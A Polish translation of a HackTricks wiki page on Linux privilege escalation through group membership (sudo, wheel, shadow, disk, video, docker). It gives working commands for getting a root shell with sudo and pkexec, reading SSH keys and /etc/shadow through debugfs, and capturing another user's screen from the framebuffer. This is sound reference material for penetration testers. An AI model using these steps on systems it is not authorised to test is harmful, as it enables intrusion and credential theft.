7.9 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Grupy Sudo/Admin
PE - Metoda 1
Czasami, domyślnie (lub dlatego, że niektóre oprogramowanie tego wymaga) w pliku /etc/sudoers można znaleźć niektóre z tych linii:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
To oznacza, że każdy użytkownik należący do grupy sudo lub admin może wykonywać polecenia jako sudo.
Jeśli tak jest, aby stać się użytkownikiem root, wystarczy wykonać:
sudo su
PE - Metoda 2
Znajdź wszystkie binarne pliki suid i sprawdź, czy istnieje plik binarny Pkexec:
find / -perm -4000 2>/dev/null
Jeśli zauważysz, że binarny plik pkexec ma ustawiony bit SUID i należysz do grupy sudo lub admin, prawdopodobnie będziesz mógł wykonywać binarne pliki jako sudo za pomocą pkexec. Sprawdź zawartość:
cat /etc/polkit-1/localauthority.conf.d/*
Poniżej znajdziesz informacje o grupach, które mają uprawnienia do wykonania pkexec i które domyślnie mogą występować w niektórych dystrybucjach Linuxa, takich jak sudo lub admin.
Aby stać się użytkownikiem root, można wykonać:
pkexec "/bin/sh" #You will be prompted for your user password
Jeśli próbujesz uruchomić pkexec i otrzymujesz ten błąd:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
To nie dlatego, że nie masz uprawnień, ale dlatego, że nie jesteś połączony bez GUI. Istnieje jednak sposób na obejście tego problemu tutaj: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. Potrzebujesz 2 różnych sesji SSH:
{% code title="sesja1" %}
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% code title="sesja2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Grupa Wheel
Czasami, domyślnie w pliku /etc/sudoers można znaleźć tę linię:
%wheel ALL=(ALL:ALL) ALL
To oznacza, że każdy użytkownik należący do grupy wheel może wykonywać dowolne polecenie jako sudo.
Jeśli tak jest, aby stać się rootem, wystarczy wykonać:
sudo su
Grupa Shadow
Użytkownicy z grupy shadow mogą odczytywać plik /etc/shadow:
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
Tak więc, przeczytaj plik i spróbuj odkodować niektóre hashe.
Grupa dyskowa
Ten przywilej jest prawie równoważny dostępowi root ponieważ umożliwia dostęp do wszystkich danych wewnątrz maszyny.
Pliki: /dev/sd[a-z][1-9]
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
Zauważ, że używając debugfs możesz również zapisywać pliki. Na przykład, aby skopiować /tmp/asd1.txt
do /tmp/asd2.txt
, możesz wykonać:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
Jednakże, jeśli spróbujesz zapisać pliki należące do roota takie jak `/etc/shadow` lub `/etc/passwd`
, otrzymasz błąd "Permission denied".
Grupa Video
Za pomocą polecenia w
można sprawdzić kto jest zalogowany w systemie i wyświetlić wynik podobny do poniższego:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1 oznacza, że użytkownik yossi jest fizycznie zalogowany do terminala na maszynie.
Grupa video ma dostęp do wyświetlania obrazu z ekranu. W zasadzie można obserwować ekran. Aby to zrobić, musisz przechwycić bieżący obraz na ekranie w postaci surowych danych i uzyskać rozdzielczość, jaką ekran używa. Dane ekranu można zapisać w /dev/fb0
, a rozdzielczość tego ekranu można znaleźć w /sys/class/graphics/fb0/virtual_size
.
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Aby otworzyć surowy obraz, można użyć GIMP, wybrać plik screen.raw
i wybrać jako typ pliku Dane surowego obrazu:
Następnie zmodyfikuj szerokość i wysokość na te używane na ekranie i sprawdź różne typy obrazu i wybierz ten, który najlepiej pokazuje ekran
:
Grupa Root
Wygląda na to, że domyślnie członkowie grupy root mogą mieć dostęp do modyfikacji niektórych plików konfiguracyjnych usług lub niektórych plików bibliotek lub innych interesujących rzeczy, które mogą być wykorzystane do eskalacji uprawnień...
Sprawdź, które pliki mogą być modyfikowane przez członków grupy root:
find / -group root -perm -g=w 2>/dev/null
Grupa Docker
Możesz zamontować system plików roota hosta na woluminie instancji, więc gdy instancja zostanie uruchomiona, natychmiast wczytuje chroot
do tego woluminu. To efektywnie daje ci uprawnienia roota na maszynie.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
Grupa lxc/lxd
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.